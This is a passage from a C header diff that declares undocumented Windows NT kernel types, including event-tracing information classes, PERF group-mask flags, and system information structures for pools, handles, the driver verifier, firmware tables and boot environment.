EVENT_TRACE_TAG_FILTER_INFORMATION + EventTracePebsTracingInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceProfileConfigInformation, // EVENT_TRACE_PROFILE_COUNTER_INFORMATION + EventTraceProfileSourceListInformation, // EVENT_TRACE_PROFILE_LIST_INFORMATION + EventTraceProfileEventListInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceProfileCounterListInformation, // EVENT_TRACE_PROFILE_COUNTER_INFORMATION + EventTraceStackCachingInformation, // EVENT_TRACE_STACK_CACHING_INFORMATION + EventTraceObjectTypeFilterInformation, // EVENT_TRACE_TAG_FILTER_INFORMATION + EventTraceSoftRestartInformation, // EVENT_TRACE_SOFT_RESTART_INFORMATION + EventTraceLastBranchConfigurationInformation, // REDSTONE3 + EventTraceLastBranchEventListInformation, + EventTraceProfileSourceAddInformation, // EVENT_TRACE_PROFILE_ADD_INFORMATION // REDSTONE4 + EventTraceProfileSourceRemoveInformation, // EVENT_TRACE_PROFILE_REMOVE_INFORMATION + EventTraceProcessorTraceConfigurationInformation, + EventTraceProcessorTraceEventListInformation, + EventTraceCoverageSamplerInformation, // EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION + EventTraceUnifiedStackCachingInformation, // sicne 21H1 + MaxEventTraceInfoClass +} EVENT_TRACE_INFORMATION_CLASS; + +typedef struct _EVENT_TRACE_VERSION_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG EventTraceKernelVersion; +} EVENT_TRACE_VERSION_INFORMATION, * PEVENT_TRACE_VERSION_INFORMATION; + +#define PERF_MASK_INDEX (0xe0000000) +#define PERF_MASK_GROUP (~PERF_MASK_INDEX) +#define PERF_NUM_MASKS 8 + +#define PERF_GET_MASK_INDEX(GM) (((GM) & PERF_MASK_INDEX) >> 29) +#define PERF_GET_MASK_GROUP(GM) ((GM) & PERF_MASK_GROUP) +#define PERFINFO_OR_GROUP_WITH_GROUPMASK(Group, pGroupMask) \ + (pGroupMask)->Masks[PERF_GET_MASK_INDEX(Group)] |= PERF_GET_MASK_GROUP(Group); + +// Masks[0] +#define PERF_PROCESS EVENT_TRACE_FLAG_PROCESS +#define PERF_THREAD EVENT_TRACE_FLAG_THREAD +#define PERF_PROC_THREAD EVENT_TRACE_FLAG_PROCESS | EVENT_TRACE_FLAG_THREAD +#define PERF_LOADER EVENT_TRACE_FLAG_IMAGE_LOAD +#define PERF_PERF_COUNTER EVENT_TRACE_FLAG_PROCESS_COUNTERS +#define PERF_FILENAME EVENT_TRACE_FLAG_DISK_FILE_IO +#define PERF_DISK_IO EVENT_TRACE_FLAG_DISK_FILE_IO | EVENT_TRACE_FLAG_DISK_IO +#define PERF_DISK_IO_INIT EVENT_TRACE_FLAG_DISK_IO_INIT +#define PERF_ALL_FAULTS EVENT_TRACE_FLAG_MEMORY_PAGE_FAULTS +#define PERF_HARD_FAULTS EVENT_TRACE_FLAG_MEMORY_HARD_FAULTS +#define PERF_VAMAP EVENT_TRACE_FLAG_VAMAP +#define PERF_NETWORK EVENT_TRACE_FLAG_NETWORK_TCPIP +#define PERF_REGISTRY EVENT_TRACE_FLAG_REGISTRY +#define PERF_DBGPRINT EVENT_TRACE_FLAG_DBGPRINT +#define PERF_JOB EVENT_TRACE_FLAG_JOB +#define PERF_ALPC EVENT_TRACE_FLAG_ALPC +#define PERF_SPLIT_IO EVENT_TRACE_FLAG_SPLIT_IO +#define PERF_DEBUG_EVENTS EVENT_TRACE_FLAG_DEBUG_EVENTS +#define PERF_FILE_IO EVENT_TRACE_FLAG_FILE_IO +#define PERF_FILE_IO_INIT EVENT_TRACE_FLAG_FILE_IO_INIT +#define PERF_NO_SYSCONFIG EVENT_TRACE_FLAG_NO_SYSCONFIG + +// Masks[1] +#define PERF_MEMORY 0x20000001 +#define PERF_PROFILE 0x20000002 // equivalent to EVENT_TRACE_FLAG_PROFILE +#define PERF_CONTEXT_SWITCH 0x20000004 // equivalent to EVENT_TRACE_FLAG_CSWITCH +#define PERF_FOOTPRINT 0x20000008 +#define PERF_DRIVERS 0x20000010 // equivalent to EVENT_TRACE_FLAG_DRIVER +#define PERF_REFSET 0x20000020 +#define PERF_POOL 0x20000040 +#define PERF_POOLTRACE 0x20000041 +#define PERF_DPC 0x20000080 // equivalent to EVENT_TRACE_FLAG_DPC +#define PERF_COMPACT_CSWITCH 0x20000100 +#define PERF_DISPATCHER 0x20000200 // equivalent to EVENT_TRACE_FLAG_DISPATCHER +#define PERF_PMC_PROFILE 0x20000400 +#define PERF_PROFILING 0x20000402 +#define PERF_PROCESS_INSWAP 0x20000800 +#define PERF_AFFINITY 0x20001000 +#define PERF_PRIORITY 0x20002000 +#define PERF_INTERRUPT 0x20004000 // equivalent to EVENT_TRACE_FLAG_INTERRUPT +#define PERF_VIRTUAL_ALLOC 0x20008000 // equivalent to EVENT_TRACE_FLAG_VIRTUAL_ALLOC +#define PERF_SPINLOCK 0x20010000 +#define PERF_SYNC_OBJECTS 0x20020000 +#define PERF_DPC_QUEUE 0x20040000 +#define PERF_MEMINFO 0x20080000 +#define PERF_CONTMEM_GEN 0x20100000 +#define PERF_SPINLOCK_CNTRS 0x20200000 +#define PERF_SPININSTR 0x20210000 +#define PERF_SESSION 0x20400000 +#define PERF_PFSECTION 0x20400000 +#define PERF_MEMINFO_WS 0x20800000 +#define PERF_KERNEL_QUEUE 0x21000000 +#define PERF_INTERRUPT_STEER 0x22000000 +#define PERF_SHOULD_YIELD 0x24000000 +#define PERF_WS 0x28000000 + +// Masks[2] +#define PERF_ANTI_STARVATION 0x40000001 +#define PERF_PROCESS_FREEZE 0x40000002 +#define PERF_PFN_LIST 0x40000004 +#define PERF_WS_DETAIL 0x40000008 +#define PERF_WS_ENTRY 0x40000010 +#define PERF_HEAP 0x40000020 +#define PERF_SYSCALL 0x40000040 // equivalent to EVENT_TRACE_FLAG_SYSTEMCALL +#define PERF_UMS 0x40000080 +#define PERF_BACKTRACE 0x40000100 +#define PERF_VULCAN 0x40000200 +#define PERF_OBJECTS 0x40000400 +#define PERF_EVENTS 0x40000800 +#define PERF_FULLTRACE 0x40001000 +#define PERF_DFSS 0x40002000 +#define PERF_PREFETCH 0x40004000 +#define PERF_PROCESSOR_IDLE 0x40008000 +#define PERF_CPU_CONFIG 0x40010000 +#define PERF_TIMER 0x40020000 +#define PERF_CLOCK_INTERRUPT 0x40040000 +#define PERF_LOAD_BALANCER 0x40080000 +#define PERF_CLOCK_TIMER 0x40100000 +#define PERF_IDLE_SELECTION 0x40200000 +#define PERF_IPI 0x40400000 +#define PERF_IO_TIMER 0x40800000 +#define PERF_REG_HIVE 0x41000000 +#define PERF_REG_NOTIF 0x42000000 +#define PERF_PPM_EXIT_LATENCY 0x44000000 +#define PERF_WORKER_THREAD 0x48000000 + +// Masks[4] +#define PERF_OPTICAL_IO 0x80000001 +#define PERF_OPTICAL_IO_INIT 0x80000002 +#define PERF_DLL_INFO 0x80000008 +#define PERF_DLL_FLUSH_WS 0x80000010 +#define PERF_OB_HANDLE 0x80000040 +#define PERF_OB_OBJECT 0x80000080 +#define PERF_WAKE_DROP 0x80000200 +#define PERF_WAKE_EVENT 0x80000400 +#define PERF_DEBUGGER 0x80000800 +#define PERF_PROC_ATTACH 0x80001000 +#define PERF_WAKE_COUNTER 0x80002000 +#define PERF_POWER 0x80008000 +#define PERF_SOFT_TRIM 0x80010000 +#define PERF_CC 0x80020000 +#define PERF_FLT_IO_INIT 0x80080000 +#define PERF_FLT_IO 0x80100000 +#define PERF_FLT_FASTIO 0x80200000 +#define PERF_FLT_IO_FAILURE 0x80400000 +#define PERF_HV_PROFILE 0x80800000 +#define PERF_WDF_DPC 0x81000000 +#define PERF_WDF_INTERRUPT 0x82000000 +#define PERF_CACHE_FLUSH 0x84000000 + +// Masks[5] +#define PERF_HIBER_RUNDOWN 0xA0000001 + +// Masks[6] +#define PERF_SYSCFG_SYSTEM 0xC0000001 +#define PERF_SYSCFG_GRAPHICS 0xC0000002 +#define PERF_SYSCFG_STORAGE 0xC0000004 +#define PERF_SYSCFG_NETWORK 0xC0000008 +#define PERF_SYSCFG_SERVICES 0xC0000010 +#define PERF_SYSCFG_PNP 0xC0000020 +#define PERF_SYSCFG_OPTICAL 0xC0000040 +#define PERF_SYSCFG_ALL 0xDFFFFFFF + +// Masks[7] - Control Mask. All flags that change system behavior go here. +#define PERF_CLUSTER_OFF 0xE0000001 +#define PERF_MEMORY_CONTROL 0xE0000002 + +typedef ULONG PERFINFO_MASK; + +typedef struct _PERFINFO_GROUPMASK +{ + ULONG Masks[PERF_NUM_MASKS]; +} PERFINFO_GROUPMASK, * PPERFINFO_GROUPMASK; + +typedef struct _EVENT_TRACE_GROUPMASK_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + PERFINFO_GROUPMASK EventTraceGroupMasks; +} EVENT_TRACE_GROUPMASK_INFORMATION, * PEVENT_TRACE_GROUPMASK_INFORMATION; + +typedef struct _EVENT_TRACE_PERFORMANCE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + LARGE_INTEGER LogfileBytesWritten; +} EVENT_TRACE_PERFORMANCE_INFORMATION, * PEVENT_TRACE_PERFORMANCE_INFORMATION; + +typedef struct _EVENT_TRACE_TIME_PROFILE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ProfileInterval; +} EVENT_TRACE_TIME_PROFILE_INFORMATION, * PEVENT_TRACE_TIME_PROFILE_INFORMATION; + +typedef struct _EVENT_TRACE_SESSION_SECURITY_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG SecurityInformation; + TRACEHANDLE TraceHandle; + UCHAR SecurityDescriptor[1]; +} EVENT_TRACE_SESSION_SECURITY_INFORMATION, * PEVENT_TRACE_SESSION_SECURITY_INFORMATION; + +typedef struct _EVENT_TRACE_SPINLOCK_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG SpinLockSpinThreshold; + ULONG SpinLockAcquireSampleRate; + ULONG SpinLockContentionSampleRate; + ULONG SpinLockHoldThreshold; +} EVENT_TRACE_SPINLOCK_INFORMATION, * PEVENT_TRACE_SPINLOCK_INFORMATION; + +typedef struct _EVENT_TRACE_SYSTEM_EVENT_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + ULONG HookId[1]; +} EVENT_TRACE_SYSTEM_EVENT_INFORMATION, * PEVENT_TRACE_SYSTEM_EVENT_INFORMATION; + +typedef struct _EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ReleaseSamplingRate; + ULONG ContentionSamplingRate; + ULONG NumberOfExcessiveTimeouts; +} EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION, * PEVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION; + +typedef struct _EVENT_TRACE_HEAP_TRACING_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ProcessId; +} EVENT_TRACE_HEAP_TRACING_INFORMATION, * PEVENT_TRACE_HEAP_TRACING_INFORMATION; + +typedef struct _EVENT_TRACE_TAG_FILTER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + ULONG Filter[1]; +} EVENT_TRACE_TAG_FILTER_INFORMATION, * PEVENT_TRACE_TAG_FILTER_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_COUNTER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + ULONG ProfileSource[1]; +} EVENT_TRACE_PROFILE_COUNTER_INFORMATION, * PEVENT_TRACE_PROFILE_COUNTER_INFORMATION; + +//typedef struct _PROFILE_SOURCE_INFO +//{ +// ULONG NextEntryOffset; +// ULONG Source; +// ULONG MinInterval; +// ULONG MaxInterval; +// PVOID Reserved; +// WCHAR Description[1]; +//} PROFILE_SOURCE_INFO, *PPROFILE_SOURCE_INFO; + +typedef struct _EVENT_TRACE_PROFILE_LIST_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG Spare; + struct _PROFILE_SOURCE_INFO* Profile[1]; +} EVENT_TRACE_PROFILE_LIST_INFORMATION, * PEVENT_TRACE_PROFILE_LIST_INFORMATION; + +typedef struct _EVENT_TRACE_STACK_CACHING_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + BOOLEAN Enabled; + UCHAR Reserved[3]; + ULONG CacheSize; + ULONG BucketCount; +} EVENT_TRACE_STACK_CACHING_INFORMATION, * PEVENT_TRACE_STACK_CACHING_INFORMATION; + +typedef struct _EVENT_TRACE_SOFT_RESTART_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + BOOLEAN PersistTraceBuffers; + WCHAR FileName[1]; +} EVENT_TRACE_SOFT_RESTART_INFORMATION, * PEVENT_TRACE_SOFT_RESTART_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_ADD_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + BOOLEAN PerfEvtEventSelect; + BOOLEAN PerfEvtUnitSelect; + ULONG PerfEvtType; + ULONG CpuInfoHierarchy[0x3]; + ULONG InitialInterval; + BOOLEAN AllowsHalt; + BOOLEAN Persist; + WCHAR ProfileSourceDescription[0x1]; +} EVENT_TRACE_PROFILE_ADD_INFORMATION, * PEVENT_TRACE_PROFILE_ADD_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_REMOVE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + KPROFILE_SOURCE ProfileSource; + ULONG CpuInfoHierarchy[0x3]; +} EVENT_TRACE_PROFILE_REMOVE_INFORMATION, * PEVENT_TRACE_PROFILE_REMOVE_INFORMATION; + +typedef struct _EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + BOOLEAN CoverageSamplerInformationClass; + UCHAR MajorVersion; + UCHAR MinorVersion; + UCHAR Reserved; + HANDLE SamplerHandle; +} EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION, * PEVENT_TRACE_COVERAGE_SAMPLER_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION +{ + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, * PSYSTEM_EXCEPTION_INFORMATION; + +typedef enum _SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS +{ + SystemCrashDumpDisable, + SystemCrashDumpReconfigure, + SystemCrashDumpInitializationComplete +} SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS, * PSYSTEM_CRASH_DUMP_CONFIGURATION_CLASS; + +typedef struct _SYSTEM_CRASH_DUMP_STATE_INFORMATION +{ + SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS CrashDumpConfigurationClass; +} SYSTEM_CRASH_DUMP_STATE_INFORMATION, * PSYSTEM_CRASH_DUMP_STATE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION +{ + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, * PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION +{ + ULONG ContextSwitches; + ULONG FindAny; + ULONG FindLast; + ULONG FindIdeal; + ULONG IdleAny; + ULONG IdleCurrent; + ULONG IdleLast; + ULONG IdleIdeal; + ULONG PreemptAny; + ULONG PreemptCurrent; + ULONG PreemptLast; + ULONG SwitchToIdle; +} SYSTEM_CONTEXT_SWITCH_INFORMATION, * PSYSTEM_CONTEXT_SWITCH_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION +{ + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + SIZE_T PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, * PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION +{ + ULONGLONG IdleTime; + ULONGLONG C1Time; + ULONGLONG C2Time; + ULONGLONG C3Time; + ULONG C1Transitions; + ULONG C2Transitions; + ULONG C3Transitions; + ULONG Padding; +} SYSTEM_PROCESSOR_IDLE_INFORMATION, * PSYSTEM_PROCESSOR_IDLE_INFORMATION; + +typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION +{ + ULONG VetoType; + UNICODE_STRING VetoList; +} SYSTEM_LEGACY_DRIVER_INFORMATION, * PSYSTEM_LEGACY_DRIVER_INFORMATION; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION +{ + USHORT CurrentDepth; + USHORT MaximumDepth; + ULONG TotalAllocates; + ULONG AllocateMisses; + ULONG TotalFrees; + ULONG FreeMisses; + ULONG Type; + ULONG Tag; + ULONG Size; +} SYSTEM_LOOKASIDE_INFORMATION, * PSYSTEM_LOOKASIDE_INFORMATION; + +// private +typedef struct _SYSTEM_RANGE_START_INFORMATION +{ + PVOID SystemRangeStart; +} SYSTEM_RANGE_START_INFORMATION, * PSYSTEM_RANGE_START_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION_LEGACY // pre-19H1 +{ + ULONG NextEntryOffset; + ULONG Level; + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; +} SYSTEM_VERIFIER_INFORMATION_LEGACY, * PSYSTEM_VERIFIER_INFORMATION_LEGACY; + +typedef struct _SYSTEM_VERIFIER_INFORMATION +{ + ULONG NextEntryOffset; + ULONG Level; + ULONG RuleClasses[2]; + ULONG TriageContext; + ULONG AreAllDriversBeingVerified; + + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; +} SYSTEM_VERIFIER_INFORMATION, * PSYSTEM_VERIFIER_INFORMATION; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION +{ + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, * PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION +{ + UCHAR CurrentFrequency; + UCHAR ThermalLimitFrequency; + UCHAR ConstantThrottleFrequency; + UCHAR DegradedThrottleFrequency; + UCHAR LastBusyFrequency; + UCHAR LastC3Frequency; + UCHAR LastAdjustedBusyFrequency; + UCHAR ProcessorMinThrottle; + UCHAR ProcessorMaxThrottle; + ULONG NumberOfFrequencies; + ULONG PromotionCount; + ULONG DemotionCount; + ULONG ErrorCount; + ULONG RetryCount; + ULONGLONG CurrentFrequencyTime; + ULONGLONG CurrentProcessorTime; + ULONGLONG CurrentProcessorIdleTime; + ULONGLONG LastProcessorTime; + ULONGLONG LastProcessorIdleTime; + ULONGLONG Energy; +} SYSTEM_PROCESSOR_POWER_INFORMATION, * PSYSTEM_PROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _SYSTEM_BIGPOOL_ENTRY +{ + union + { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; + }; + SIZE_T SizeInBytes; + union + { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY; + +typedef struct _SYSTEM_BIGPOOL_INFORMATION +{ + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; +} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; + +typedef struct _SYSTEM_POOL_ENTRY +{ + BOOLEAN Allocated; + BOOLEAN Spare0; + USHORT AllocatorBackTraceIndex; + ULONG Size; + union + { + UCHAR Tag[4]; + ULONG TagUlong; + PVOID ProcessChargedQuota; + }; +} SYSTEM_POOL_ENTRY, * PSYSTEM_POOL_ENTRY; + +typedef struct _SYSTEM_POOL_INFORMATION +{ + SIZE_T TotalSize; + PVOID FirstEntry; + USHORT EntryOverhead; + BOOLEAN PoolTagPresent; + BOOLEAN Spare0; + ULONG NumberOfEntries; + SYSTEM_POOL_ENTRY Entries[1]; +} SYSTEM_POOL_INFORMATION, * PSYSTEM_POOL_INFORMATION; + +typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION +{ + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG Count; + SYSTEM_POOLTAG TagInfo[1]; +} SYSTEM_SESSION_POOLTAG_INFORMATION, * PSYSTEM_SESSION_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION +{ + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG ViewFailures; + SIZE_T NumberOfBytesAvailable; + SIZE_T NumberOfBytesAvailableContiguous; +} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, * PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; + +#ifndef _KERNEL_MODE +// private +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION +{ + SystemFirmwareTableEnumerate, + SystemFirmwareTableGet, + SystemFirmwareTableMax +} SYSTEM_FIRMWARE_TABLE_ACTION; + +// private +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION +{ + ULONG ProviderSignature; // (same as the GetSystemFirmwareTable function) + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[1]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, * PSYSTEM_FIRMWARE_TABLE_INFORMATION; + +// private +typedef NTSTATUS(__cdecl* PFNFTH)( + _Inout_ PSYSTEM_FIRMWARE_TABLE_INFORMATION SystemFirmwareTableInfo + ); + +// private +typedef struct _SYSTEM_FIRMWARE_TABLE_HANDLER +{ + ULONG ProviderSignature; + BOOLEAN Register; + PFNFTH FirmwareTableHandler; + PVOID DriverObject; +} SYSTEM_FIRMWARE_TABLE_HANDLER, * PSYSTEM_FIRMWARE_TABLE_HANDLER; +#endif // _KERNEL_MODE + +// private +typedef struct _SYSTEM_MEMORY_LIST_INFORMATION +{ + ULONG_PTR ZeroPageCount; + ULONG_PTR FreePageCount; + ULONG_PTR ModifiedPageCount; + ULONG_PTR ModifiedNoWritePageCount; + ULONG_PTR BadPageCount; + ULONG_PTR PageCountByPriority[8]; + ULONG_PTR RepurposedPagesByPriority[8]; + ULONG_PTR ModifiedPageCountPageFile; +} SYSTEM_MEMORY_LIST_INFORMATION, * PSYSTEM_MEMORY_LIST_INFORMATION; + +// private +typedef enum _SYSTEM_MEMORY_LIST_COMMAND +{ + MemoryCaptureAccessedBits, + MemoryCaptureAndResetAccessedBits, + MemoryEmptyWorkingSets, + MemoryFlushModifiedList, + MemoryPurgeStandbyList, + MemoryPurgeLowPriorityStandbyList, + MemoryCommandMax +} SYSTEM_MEMORY_LIST_COMMAND; + +// private +typedef struct _SYSTEM_THREAD_CID_PRIORITY_INFORMATION +{ + CLIENT_ID ClientId; + KPRIORITY Priority; +} SYSTEM_THREAD_CID_PRIORITY_INFORMATION, * PSYSTEM_THREAD_CID_PRIORITY_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION +{ + ULONGLONG CycleTime; +} SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, * PSYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION; + +// private +typedef struct _SYSTEM_VERIFIER_ISSUE +{ + ULONGLONG IssueType; + PVOID Address; + ULONGLONG Parameters[2]; +} SYSTEM_VERIFIER_ISSUE, * PSYSTEM_VERIFIER_ISSUE; + +// private +typedef struct _SYSTEM_VERIFIER_CANCELLATION_INFORMATION +{ + ULONG CancelProbability; + ULONG CancelThreshold; + ULONG CompletionThreshold; + ULONG CancellationVerifierDisabled; + ULONG AvailableIssues; + SYSTEM_VERIFIER_ISSUE Issues[128]; +} SYSTEM_VERIFIER_CANCELLATION_INFORMATION, * PSYSTEM_VERIFIER_CANCELLATION_INFORMATION; + +// private +typedef struct _SYSTEM_REF_TRACE_INFORMATION +{ + BOOLEAN TraceEnable; + BOOLEAN TracePermanent; + UNICODE_STRING TraceProcessName; + UNICODE_STRING TracePoolTags; +} SYSTEM_REF_TRACE_INFORMATION, * PSYSTEM_REF_TRACE_INFORMATION; + +// private +typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION +{ + ULONG PoolTag; + ULONG Flags; +} SYSTEM_SPECIAL_POOL_INFORMATION, * PSYSTEM_SPECIAL_POOL_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESS_ID_INFORMATION +{ + HANDLE ProcessId; + UNICODE_STRING ImageName; +} SYSTEM_PROCESS_ID_INFORMATION, * PSYSTEM_PROCESS_ID_INFORMATION; + +#if (WDK_NTDDI_VERSION >= NTDDI_WIN10_RS3) +// private +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION +{ + GUID BootIdentifier; + FIRMWARE_TYPE FirmwareType; + union + { + ULONGLONG BootFlags; + struct + { + ULONGLONG DbgMenuOsSelection : 1; // REDSTONE4 + ULONGLONG DbgHiberBoot : 1; + ULONGLONG DbgSoftBoot : 1; + ULONGLONG DbgMeasuredLaunch : 1; + ULONGLONG DbgMeasuredLaunchCapable : 1; // 19H1 + ULONGLONG DbgSystemHiveReplace : 1; + ULONGLONG DbgMeasuredLaunchSmmProtections : 1; + ULONGLONG DbgMeasuredLaunchSmmLevel : 7; // 20H1 + }; + }; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, * PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; +#endif // WDK_NTDDI_VERSION >= NTDDI_WIN10_RS3 + +// private +typedef struct _SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION +{ + ULONG FlagsToEnable; + ULONG FlagsToDisable; +} SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION, * PSYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION; + +// private +typedef struct _SYSTEM_PREFETCH_PATCH_INFORMATION +{ + ULONG PrefetchPatchCount; +} SYSTEM_PREFETCH_PATCH_INFORMATION, * PSYSTEM_PREFETCH_PATCH_INFORMATION; + +// private +typedef struct _SYSTEM_VERIFIER_FAULTS_INFORMATION +{ + ULONG Probability; + ULONG MaxProbability; + UNICODE_STRING PoolTags; + UNICODE_STRING Applications; +} SYSTEM_VERIFIER_FAULTS_INFORMATION, * PSYSTEM_VERIFIER_FAULTS_INFORMATION; + +// private +typedef struct _SYSTEM_VERIFIER_INFORMATION_EX +{ + ULONG VerifyMode; + ULONG OptionChanges; + UNICODE_STRING PreviousBucketName; + ULONG IrpCancelTimeoutMsec; + ULONG VerifierExtensionEnabled; +#ifdef _WIN64 + ULONG Reserved[1]; +#else + ULONG Reserved[3]; +#endif +} SYSTEM_VERIFIER_INFORMATION_EX, * PSYSTEM_VERIFIER_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SYSTEM_PARTITION_INFORMATION +{ + UNICODE_STRING SystemPartition; +} 